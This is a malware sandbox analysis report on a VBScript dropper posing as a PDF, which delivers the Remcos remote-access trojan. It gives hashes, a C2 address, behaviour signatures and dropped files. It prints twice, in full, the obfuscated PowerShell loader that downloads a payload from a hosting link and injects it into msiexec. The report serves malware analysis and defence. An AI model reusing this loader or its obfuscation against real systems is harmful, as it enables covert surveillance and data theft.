Overview

overview

10

Static

static

1

Bunker_STS_pdf.vbs

windows7-x64

10

Bunker_STS_pdf.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    10-12-2024 01:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Bunker_STS_pdf.vbs

  • Size

    13KB

  • MD5

    d337850be4db2196fbd9b40b714ba227

  • SHA1

    e43b4b7c792001b7c91bd03471d94f2bc1dbd66f

  • SHA256

    029802343fbb801604ed9508ebd34ea0eff7873afb6b308f5dfad5db56ac5f8c

  • SHA512

    4ffb485d2e5dac71db20b6a8b24cf0073600c4f9ac709d9579a45478c3629195d0fda258b447fef8dbd9e77bb4bd4990ffe1113880f542f6136397b4ca135a12

  • SSDEEP

    384:1DY35T6OmW8azd5vpecmEzqwVqIxJuRoSiZsyvVx:1DYJ+O5vpecmExjSRXZ+

Score
10/10
remcosremotehostdiscoveryexecutionrat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

154.216.18.214:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-AOD6MB

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Remcos family
    remcos
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bunker_STS_pdf.vbs"
    1⤵
    • Enumerates connected drives
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tetrapyramid='Biseriately';;$Afsnitsnumrets='Expositoriness';;$Tomastedearovize='Tractile';;$Oncogene='Poniarded40';;$solfeggios=$host.Name;function Terrorhandlingerne($Nettovgtenes41){If ($solfeggios) {$Antitangent=3} for ($Tomastede=$Antitangent;;$Tomastede+=4){if(!$Nettovgtenes41[$Tomastede]){$Domsmands90++;break }$Guaranteer+=$Nettovgtenes41[$Tomastede];$Recite='shims'}$Guaranteer}function windslab($Filmguide){ .($Ovoelliptic) ($Filmguide)}$Bombastiskes=Terrorhandlingerne 'BilnFore .stUnc. jW';$Bombastiskes+=Terrorhandlingerne 'slae.anBMisCstel,raIIndEst NTriT';$Ranglers=Terrorhandlingerne 'CudMsuro P.zIlii Brl nkl MeaOpt/';$sparrier=Terrorhandlingerne ' B TC el.yhsMta1st 2';$Folkekommunistisk='Kan[ seNFrgEWagT A..datsKrieHovrUndV M iRooC AneJetp Inosi.iP nn sat N.M spAArcNRevaAingEu.EBe.rKu ] re:O,s: ZosJu EsteCMeiuOpsrLegIFo TstaYBomP BarE,eODocTNonOAarCH.noElmLPre= ec$Ol.s L.pPenasalrHierstaI yret er';$Ranglers+=Terrorhandlingerne ' Jo5Aff.Ple0Cys Teg(H.dWFlliAnhnBr,dAnro ewConsfor AmpNU dTInd Cha1 om0 Re.Fra0 .e; ba BreWstoi.ndnBla6 Ap4Arr;Jen ,hxDep6Obl4Dri;Lyn CorAt vspr:sk 1Cic3 M 1,kt.Lrt0M,c) k PinGsdve sic Trk skosna/Con2A.d0.ma1spa0 P 0 Ak1B.h0.ut1uni IntFKoniThur aeQuef W,oE,ex,ns/ ka1.an3,ne1K.c.At 0';$Uddrog=Terrorhandlingerne 'U oU mpsd.teNewR ar-Co Asipg HaeElenUdbT';$Blindeinstituttet=Terrorhandlingerne ' Poh evtsamtNatpU dsPh : Ve/Gr./Joud HarBe,iTelvvioeHel.PregA soC oosatgsamlu leR t.NivcPloosukm Ms/svausancCon?Ovee,omx kopsanota rMartsup=G,ldKono uawTypn rlM goLysaF.ad Bi&A liPladoli=Hed1k exEtnnAr orecF g 5s ajMetyGeiiUdliAmtH.mpo U 0 omt echV ta enaTr 9Plak O.GHaa0sikHB sxRea4 aF MaiForTyelcRumUNav0A,czR tbJugo';$seksaarsdrenges=Terrorhandlingerne 'Pri>';$Ovoelliptic=Terrorhandlingerne 'Bu,IO tE C X';$Mrkelgge='supercerebellar';$Krigslisten='\Elgtyre.Bev';windslab (Terrorhandlingerne ' ve$EclgPseLPreo pBHenA Kal Ko: rkM HyeUfoIKeres rr.es=Na $AkseEjeNFrivsto: T a AfpsmgpscrDTroa onts.aaBin+Nip$sunKFlaRDeciWhegGlasDysL Nei osBurtExpeThun');windslab (Terrorhandlingerne 'sna$Refg,rmlIndoGe.b B A ubl f:RepbHaleTilRHdet ,shAndesa rPa =Op $.krbUnmLco IFransipDNonENonIFlan Grs ApttilImactRagUOphT uptsgeebe,tTan.Da.ss epBesLFani nnt ut(Far$ EvsTemeHagkAgnsAk,A GoADisrlezsRefdTrarH rEPu nMedgHe eRe.sga,)');windslab (Terrorhandlingerne $Folkekommunistisk);$Blindeinstituttet=$Berther[0];$Medaljonernes=(Terrorhandlingerne 'dup$ IngCysL leO ruBTj.a s lsch:FstmEtyaP aNBi dForODagLHy,ICreNLynePhy=E,fnPodes iw T.-s,bO M bspijOveeBesCMectPa. Ov sBe YForsgentCo,E ImMsta.Fa $TetBsneO,ubMForBTkkA CesAntt PhIRessUp.KB lEUdas');windslab ($Medaljonernes);windslab (Terrorhandlingerne 'For$couMstea CanBe,dUv oMatlLoniHofnKrye Ti. QuH Lie taa N dDise BerbagsKli[Cey$C.nUPotdHexdTrursauo org G.] pi=Aur$ rRModa tanMong all dfeslerDoms');$Hardset=Terrorhandlingerne 'st.$skrM inaR gn F dL.koHehlOuti F nOvee,ac.F iD M oKahwBlinIstl F.oTekaJawd iaFNoni G l yreBoe(Unp$ PyBAr li pistun ads ee Gri FenK esPritMo iVeltMonuFeut TrtOd e sttCam,Uni$CenBPe aUncgbkkhW.sjAniu apl.ideB,nt VisVa.)';$Baghjulets=$meier;windslab (Terrorhandlingerne ' ,i$.ahGU ylpocODrabsp,A Nol sn:ProBTetYGagg Goe MeTsanTCal= ld(Afkt PoE idsturtR p-OraPUniAsweTWonh k. ,er$KvaB FoAPa,GCheH vJ InuUn.lPeaeRacT elsarc)');while (!$Bygett) {windslab (Terrorhandlingerne ' T.$ sagPesl s oRetb npaOv lrev:semAsttaMetnsacdstae ivBedepetrAnvdForeMolndebeUdsrGennEneeK,nsFav=se $PraFPanr roiA thDecePsedTras sagskroUnfddateWitt .us') ;windslab $Hardset;windslab (Terrorhandlingerne ' NospriT spAPreRMazT to-Dwes s.l AfetruEAn,p .a Per4');windslab (Terrorhandlingerne 'Gal$br.gVrelLigOudkbBdeAPlaL s:Dribim,YsnkGDa,ETratUdsTDo =Evi(vaet FyEWebsDattKri- eP GaAIsftUdshslv sub$KrybB.ya JugFr.h suJtrsuA tLTikEUpbTOmbs ga)') ;windslab (Terrorhandlingerne 'is $,osgPolLCano.roB oADarl v:M nIsu,MPanARu GkoniRehnBefr,idT De=Per$Pr GMa L s OFreb oraRaaL.or: ChpTooR oO lgTEtpeBesIFrsNerkRBi iK yGchoTGro+Ble+ Me%Gro$OrdBA rEPrir KatB cH ieHerrRha.snnCThoo AnUKe NAr t') ;$Blindeinstituttet=$Berther[$Imaginrt]}$sparsomst=281401;$Nihilities=30050;windslab (Terrorhandlingerne 'Mat$ImpGLarl Afo MibFlaA crL Af: alu es BosKrlE Trl ehi MigBe.eDo sM t ,ph= U s kgrhoEs mt Y -BricExpoU sn E t oeUnsnsektCap Ud $Forb yrAPe,GP th BlJ T.U skL omEEndTKols');windslab (Terrorhandlingerne ',re$ pogs.glDanoDi.bs aaCoal Te:LydT FreflorGemaD mpFusesuru Udtsak Tog=Era .es[ LisH ny amsAn.tsoleC,im rn.P rCDrio Nen Rev s eskar ststr] j:Mon:CarFTigrUnjoKolmPseBAnaaPiss PieAsp6skr4 lysVoktFrarCogispan GagUnd(The$MilUBaas sasChaeirol AliF agstaePo ssem)');windslab (Terrorhandlingerne 'Jun$scagH,rldeaoChoBPilaMo LDob:ExhgManr epU E,pT lP TyeV.gs notplur K.uK.rkCent enUDejRB.oEEthnBers lu se=Cat .ns[ ersBreyDiss N tPenEBa.mExp.u,dTscreAdvx crt le. DreUfonRepCTeooir d Mui.adNHobGsag]Arc: He: soALaus UncRy.IIseI sk.UndgKolePoitaabs stT NoR stI aNtr GKic(Pa $IsptsphEAniRJacaBemp ffe onUsmetFor)');windslab (Terrorhandlingerne 'Tym$EbiG PelFatoOveb maaA,glses:squK ogn G aunaGspiesioRUnskDonkc,nes.us st= Om$ anGIn RstauVa pBagpAskEP tsVittandRVapU,meKInitsynULoprUnhEInnNTass,ro.Chas,omuParb bes iTsynR HdI Ren rgTvi(Tel$BussCelp,gta ovRC asDekOAn.MAnts arTbid, n$ OnnCarI yaHPdaIAntLEleiA stMori yeU.rsDa )');windslab $Knagerkkes;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2288
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tetrapyramid='Biseriately';;$Afsnitsnumrets='Expositoriness';;$Tomastedearovize='Tractile';;$Oncogene='Poniarded40';;$solfeggios=$host.Name;function Terrorhandlingerne($Nettovgtenes41){If ($solfeggios) {$Antitangent=3} for ($Tomastede=$Antitangent;;$Tomastede+=4){if(!$Nettovgtenes41[$Tomastede]){$Domsmands90++;break }$Guaranteer+=$Nettovgtenes41[$Tomastede];$Recite='shims'}$Guaranteer}function windslab($Filmguide){ .($Ovoelliptic) ($Filmguide)}$Bombastiskes=Terrorhandlingerne 'BilnFore .stUnc. jW';$Bombastiskes+=Terrorhandlingerne 'slae.anBMisCstel,raIIndEst NTriT';$Ranglers=Terrorhandlingerne 'CudMsuro P.zIlii Brl nkl MeaOpt/';$sparrier=Terrorhandlingerne ' B TC el.yhsMta1st 2';$Folkekommunistisk='Kan[ seNFrgEWagT A..datsKrieHovrUndV M iRooC AneJetp Inosi.iP nn sat N.M spAArcNRevaAingEu.EBe.rKu ] re:O,s: ZosJu EsteCMeiuOpsrLegIFo TstaYBomP BarE,eODocTNonOAarCH.noElmLPre= ec$Ol.s L.pPenasalrHierstaI yret er';$Ranglers+=Terrorhandlingerne ' Jo5Aff.Ple0Cys Teg(H.dWFlliAnhnBr,dAnro ewConsfor AmpNU dTInd Cha1 om0 Re.Fra0 .e; ba BreWstoi.ndnBla6 Ap4Arr;Jen ,hxDep6Obl4Dri;Lyn CorAt vspr:sk 1Cic3 M 1,kt.Lrt0M,c) k PinGsdve sic Trk skosna/Con2A.d0.ma1spa0 P 0 Ak1B.h0.ut1uni IntFKoniThur aeQuef W,oE,ex,ns/ ka1.an3,ne1K.c.At 0';$Uddrog=Terrorhandlingerne 'U oU mpsd.teNewR ar-Co Asipg HaeElenUdbT';$Blindeinstituttet=Terrorhandlingerne ' Poh evtsamtNatpU dsPh : Ve/Gr./Joud HarBe,iTelvvioeHel.PregA soC oosatgsamlu leR t.NivcPloosukm Ms/svausancCon?Ovee,omx kopsanota rMartsup=G,ldKono uawTypn rlM goLysaF.ad Bi&A liPladoli=Hed1k exEtnnAr orecF g 5s ajMetyGeiiUdliAmtH.mpo U 0 omt echV ta enaTr 9Plak O.GHaa0sikHB sxRea4 aF MaiForTyelcRumUNav0A,czR tbJugo';$seksaarsdrenges=Terrorhandlingerne 'Pri>';$Ovoelliptic=Terrorhandlingerne 'Bu,IO tE C X';$Mrkelgge='supercerebellar';$Krigslisten='\Elgtyre.Bev';windslab (Terrorhandlingerne ' ve$EclgPseLPreo pBHenA Kal Ko: rkM HyeUfoIKeres rr.es=Na $AkseEjeNFrivsto: T a AfpsmgpscrDTroa onts.aaBin+Nip$sunKFlaRDeciWhegGlasDysL Nei osBurtExpeThun');windslab (Terrorhandlingerne 'sna$Refg,rmlIndoGe.b B A ubl f:RepbHaleTilRHdet ,shAndesa rPa =Op $.krbUnmLco IFransipDNonENonIFlan Grs ApttilImactRagUOphT uptsgeebe,tTan.Da.ss epBesLFani nnt ut(Far$ EvsTemeHagkAgnsAk,A GoADisrlezsRefdTrarH rEPu nMedgHe eRe.sga,)');windslab (Terrorhandlingerne $Folkekommunistisk);$Blindeinstituttet=$Berther[0];$Medaljonernes=(Terrorhandlingerne 'dup$ IngCysL leO ruBTj.a s lsch:FstmEtyaP aNBi dForODagLHy,ICreNLynePhy=E,fnPodes iw T.-s,bO M bspijOveeBesCMectPa. Ov sBe YForsgentCo,E ImMsta.Fa $TetBsneO,ubMForBTkkA CesAntt PhIRessUp.KB lEUdas');windslab ($Medaljonernes);windslab (Terrorhandlingerne 'For$couMstea CanBe,dUv oMatlLoniHofnKrye Ti. QuH Lie taa N dDise BerbagsKli[Cey$C.nUPotdHexdTrursauo org G.] pi=Aur$ rRModa tanMong all dfeslerDoms');$Hardset=Terrorhandlingerne 'st.$skrM inaR gn F dL.koHehlOuti F nOvee,ac.F iD M oKahwBlinIstl F.oTekaJawd iaFNoni G l yreBoe(Unp$ PyBAr li pistun ads ee Gri FenK esPritMo iVeltMonuFeut TrtOd e sttCam,Uni$CenBPe aUncgbkkhW.sjAniu apl.ideB,nt VisVa.)';$Baghjulets=$meier;windslab (Terrorhandlingerne ' ,i$.ahGU ylpocODrabsp,A Nol sn:ProBTetYGagg Goe MeTsanTCal= ld(Afkt PoE idsturtR p-OraPUniAsweTWonh k. ,er$KvaB FoAPa,GCheH vJ InuUn.lPeaeRacT elsarc)');while (!$Bygett) {windslab (Terrorhandlingerne ' T.$ sagPesl s oRetb npaOv lrev:semAsttaMetnsacdstae ivBedepetrAnvdForeMolndebeUdsrGennEneeK,nsFav=se $PraFPanr roiA thDecePsedTras sagskroUnfddateWitt .us') ;windslab $Hardset;windslab (Terrorhandlingerne ' NospriT spAPreRMazT to-Dwes s.l AfetruEAn,p .a Per4');windslab (Terrorhandlingerne 'Gal$br.gVrelLigOudkbBdeAPlaL s:Dribim,YsnkGDa,ETratUdsTDo =Evi(vaet FyEWebsDattKri- eP GaAIsftUdshslv sub$KrybB.ya JugFr.h suJtrsuA tLTikEUpbTOmbs ga)') ;windslab (Terrorhandlingerne 'is $,osgPolLCano.roB oADarl v:M nIsu,MPanARu GkoniRehnBefr,idT De=Per$Pr GMa L s OFreb oraRaaL.or: ChpTooR oO lgTEtpeBesIFrsNerkRBi iK yGchoTGro+Ble+ Me%Gro$OrdBA rEPrir KatB cH ieHerrRha.snnCThoo AnUKe NAr t') ;$Blindeinstituttet=$Berther[$Imaginrt]}$sparsomst=281401;$Nihilities=30050;windslab (Terrorhandlingerne 'Mat$ImpGLarl Afo MibFlaA crL Af: alu es BosKrlE Trl ehi MigBe.eDo sM t ,ph= U s kgrhoEs mt Y -BricExpoU sn E t oeUnsnsektCap Ud $Forb yrAPe,GP th BlJ T.U skL omEEndTKols');windslab (Terrorhandlingerne ',re$ pogs.glDanoDi.bs aaCoal Te:LydT FreflorGemaD mpFusesuru Udtsak Tog=Era .es[ LisH ny amsAn.tsoleC,im rn.P rCDrio Nen Rev s eskar ststr] j:Mon:CarFTigrUnjoKolmPseBAnaaPiss PieAsp6skr4 lysVoktFrarCogispan GagUnd(The$MilUBaas sasChaeirol AliF agstaePo ssem)');windslab (Terrorhandlingerne 'Jun$scagH,rldeaoChoBPilaMo LDob:ExhgManr epU E,pT lP TyeV.gs notplur K.uK.rkCent enUDejRB.oEEthnBers lu se=Cat .ns[ ersBreyDiss N tPenEBa.mExp.u,dTscreAdvx crt le. DreUfonRepCTeooir d Mui.adNHobGsag]Arc: He: soALaus UncRy.IIseI sk.UndgKolePoitaabs stT NoR stI aNtr GKic(Pa $IsptsphEAniRJacaBemp ffe onUsmetFor)');windslab (Terrorhandlingerne 'Tym$EbiG PelFatoOveb maaA,glses:squK ogn G aunaGspiesioRUnskDonkc,nes.us st= Om$ anGIn RstauVa pBagpAskEP tsVittandRVapU,meKInitsynULoprUnhEInnNTass,ro.Chas,omuParb bes iTsynR HdI Ren rgTvi(Tel$BussCelp,gta ovRC asDekOAn.MAnts arTbid, n$ OnnCarI yaHPdaIAntLEleiA stMori yeU.rsDa )');windslab $Knagerkkes;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      PID:2292

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Elgtyre.Bev
    Filesize

    405KB

    MD5

    17ea5f6329fe062a0dbca4c04658c8d9

    SHA1

    68cd242dae3be4f4a2576be6ce1ec17230b4e04d

    SHA256

    8bfe6104cfdf979c2f9fddf4dda0b75cc5729de16826fe1f19d2730363e2e246

    SHA512

    0cc7f3c6c0abc74e9c0954b80def4ed380274c48cc3df5ffc4a4698318a6b322b2eb1d379060fde2d6ea6a0716822b543564ef2991888e22bf5200e217747648

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K8R3UPBD7E5YH3A33HCN.temp
    Filesize

    7KB

    MD5

    d7e41dfa3ca6126f04c49aedfc8f88c4

    SHA1

    891065faafd7415f49f6e959b9d1552ea5cf16c1

    SHA256

    ee986fcd81a92713a7890be9e39be48ad9b852d4494030350436b4069f2b28d9

    SHA512

    14d61aa4fe0228784838d91e9820033186bc59926051c29ed1fa3360c3e568a5fa124a6ddc720fa641b2c504c5bcae38eba4eeb9b178083f7f5a14ba9d6c193a

    Download Submit

  • memory/2288-10-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-8-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-9-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-4-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2288-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-13-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-14-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2288-15-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-17-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2288-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2288-5-0x000000001B670000-0x000000001B952000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2292-51-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-54-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-42-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-47-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-48-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-49-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-50-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-57-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-52-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-53-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-38-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-55-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2292-56-0x00000000004E0000-0x0000000001542000-memory.dmp

    Filesize

    16.4MB

    Download

  • memory/2720-21-0x0000000006720000-0x0000000007EA1000-memory.dmp

    Filesize

    23.5MB

    Download